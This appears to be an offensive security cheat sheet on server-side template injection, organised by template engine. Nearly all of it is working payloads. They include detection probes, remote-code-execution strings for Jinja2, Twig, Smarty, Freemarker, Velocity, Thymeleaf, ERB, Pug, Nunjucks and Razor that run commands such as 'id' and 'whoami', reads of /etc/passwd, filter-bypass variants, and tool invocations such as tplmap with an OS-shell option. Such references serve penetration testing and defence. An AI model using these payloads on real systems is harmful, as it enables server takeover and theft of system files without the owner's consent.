critical
server-side
Server-Side Template Injection (SSTI)
TL;DR
Inject template syntax to execute code on the server.
{{ 7 * 7 }} → 49 ( Jinja2 / Twig )
$ { 7 * 7 } → 49 ( Freemarker )
<%= 7 * 7 %> → 49 ( ERB )
Detection
Universal Fuzzing
By Engine
Payload
Engine(s)
{{7*7}}
Jinja2, Twig, Nunjucks
${7*7}
Freemarker, Velocity, Thymeleaf
<%= 7*7 %>
ERB (Ruby), EJS
#{7*7}
Thymeleaf, Slim
{7*7}
Smarty
@(7*7)
Razor (.NET)
Jinja2 (Python/Flask)
Detection
{{ 7 * '7' }} → 7777777
{{ config }}
RCE
# Via subclasses
{{ '' . __class__ . __mro__ [ 1 ] . __subclasses__ ()[ 396 ]( 'id' , shell = True , stdout =- 1 ) . communicate ()[ 0 ]}}
# Generic
{{ cycler . __init__ . __globals__ . os . popen ( 'id' ) . read () }}
{{ joiner . __init__ . __globals__ . os . popen ( 'id' ) . read () }}
# File read
{{ request . __class__ . _load_form_data . __globals__ . __builtins__ . open ( "/etc/passwd" ) . read () }}
Bypasses
# Without dots
{{ request | attr ( "__class__" )}}
{{ request [ "__class__" ]}}
Twig (PHP)
RCE
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
# Using filter
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}
Smarty (PHP)
{$smarty.version}
{system('ls')}
{system('cat /etc/passwd')}
Freemarker (Java)
RCE
< # assign ex = "freemarker.template.utility.Execute" ? new () > $ { ex ( "id" )}
# Alternative
$ { "freemarker.template.utility.Execute" ? new ()( "id" )}
Velocity (Java)
# set ( $s = "" )
# set ( $stringClass = $s . getClass ())
# set ( $runtime = $stringClass . forName ( "java.lang.Runtime" ). getRuntime ())
# set ( $process = $runtime . exec ( "id" ))
$process . getInputStream ()
Thymeleaf (Java)
$ { T ( java . lang . Runtime ). getRuntime (). exec ( ' id ' )}
# Expression inlining
[[ $ { 7 * 7 } ]]
# Preprocessing
__$ { T ( java . lang . Runtime ). getRuntime (). exec ( "id" )} __ ::. x
ERB (Ruby)
< %= system("id") %>
<%= `id` %>
<%= File.open('/etc/passwd').read %>
Pug/Jade (Node.js)
# { root . process . mainModule . require ( 'child_process' ). spawnSync ( 'cat' , [ '/etc/passwd' ]). stdout }
Nunjucks (Node.js)
{{ range . constructor ( "return global.process.mainModule.require('child_process').execSync('id')" )()}}
Razor (.NET)
@ ( 2 + 2 )
@System . Diagnostics . Process . Start ( "cmd.exe" , "/c whoami" )
# SSTImap
python3 sstimap.py -u "http://target/?name=test"
# TInjA
tinja url -u "http://target/?name=test"
# Tplmap
python2.7 tplmap.py -u 'http://target/?name=test*' --os-shell
Quick Reference
Engine
Language
Syntax
Detection
Jinja2
Python
{{...}}
{{config}}
Twig
PHP
{{...}}
{{dump(app)}}
Smarty
PHP
{...}
{$smarty.version}
Freemarker
Java
${...}
${7*7}
Thymeleaf
Java
${...}
${T(java.lang.Math).random()}
ERB
Ruby
<%= ... %>
<%= 7*7 %>
Nunjucks
Node.js
{{...}}
{{7*7}}
Razor
.NET
@(...)
@(2+2)